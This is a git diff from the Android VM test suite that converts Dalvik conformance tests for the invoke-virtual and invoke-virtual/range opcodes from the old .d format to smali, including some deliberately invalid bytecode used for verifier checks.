--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_5.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_5;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.d
deleted file mode 100644
index a3f42ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_6.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_6
-.super dot/junit/opcodes/invoke_virtual/ATest
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/ATest/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/ATest/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali
new file mode 100644
index 0000000..c3ef96a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_6.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_6;
+.super  Ldot/junit/opcodes/invoke_virtual/ATest;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/ATest;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/ATest;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.d
deleted file mode 100644
index 2e3a6a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_7.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_7
-.super dot/junit/opcodes/invoke_virtual/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-virtual {v2}, dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali
new file mode 100644
index 0000000..e48e8fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_7.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7;
+.super  Ldot/junit/opcodes/invoke_virtual/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-virtual {v2}, Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_7;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.d
deleted file mode 100644
index c6ef760..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_8.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v6, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali
new file mode 100644
index 0000000..b3e59bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_8.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v6, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.d
deleted file mode 100644
index f695913..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_9.java
-.class public dot.junit.opcodes.invoke_virtual.d.T_invoke_virtual_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual {v8, v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali
new file mode 100644
index 0000000..707456a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_9.java"
+.class  public Ldot/junit/opcodes/invoke_virtual/d/T_invoke_virtual_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual {v8, v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.d
deleted file mode 100644
index c39399e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TPlain.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.TPlain
-.super  java/lang/Object
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
-.method public toInt()I 
-.limit regs 3
-    const v0, 5
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali
new file mode 100644
index 0000000..b789b19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TPlain.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TPlain.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;
+.super   Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public toInt()I 
+.registers 3
+    const v0, 5
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.smali
new file mode 100644
index 0000000..be02e8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper.smali
@@ -0,0 +1,84 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+.super Ljava/lang/Object;
+.source "TSuper.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private toIntPvt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public static toIntStatic()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+
+# virtual methods
+.method public testArgsOrder(II)I
+    .registers 4
+
+    const v0, 0x15d
+
+    const p0, 0x54250
+
+    div-int p1, p1, p2
+
+    return p1
+.end method
+
+.method public toInt()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
+
+.method public toInt(F)I
+    .registers 3
+
+    float-to-int v0, p1
+
+    return v0
+.end method
+
+.method public native toIntNative()I
+.end method
+
+.method protected toIntP()I
+    .registers 3
+
+    const v0, 0x5
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.d
deleted file mode 100644
index 882b227..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source TSuper2.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.TSuper2
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public test()I 
-.limit regs 3
-    const v0, 123
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali
new file mode 100644
index 0000000..eec2160
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/TSuper2.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "TSuper2.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public test()I 
+.registers 3
+    const v0, 123
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.d
deleted file mode 100644
index b7f13d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_1.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v6..v7}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali
new file mode 100644
index 0000000..887460b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6..v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.d
deleted file mode 100644
index 3f327a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_10.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_10
-.super java/lang/Object
-
-.method static <clinit>()V
-    return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-    invoke-virtual/range {v0}, dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_10/<clinit>()V
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali
new file mode 100644
index 0000000..4d8488a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10;
+.super  Ljava/lang/Object;
+
+.method static constructor <clinit>()V
+.registers 0
+    return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+    invoke-virtual/range {v0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_10;-><clinit>()V
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.d
deleted file mode 100644
index b109ace..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_11.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       invoke-virtual/range {v6}, java/lang/Object/equals(Ljava/lang/Object;)Z
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali
new file mode 100644
index 0000000..c9be09d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
+.registers 8
+
+       invoke-virtual/range {v6}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.d
deleted file mode 100644
index 93df0f5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_12.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public test(Ljava/lang/String;)V
-.limit regs 2
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)Z
-.limit regs 8
-
-       move-object v6, v5
-       invoke-virtual/range {v6..v7}, dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_12/test(Ljava/lang/String;)V
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali
new file mode 100644
index 0000000..ae0757e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_12.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
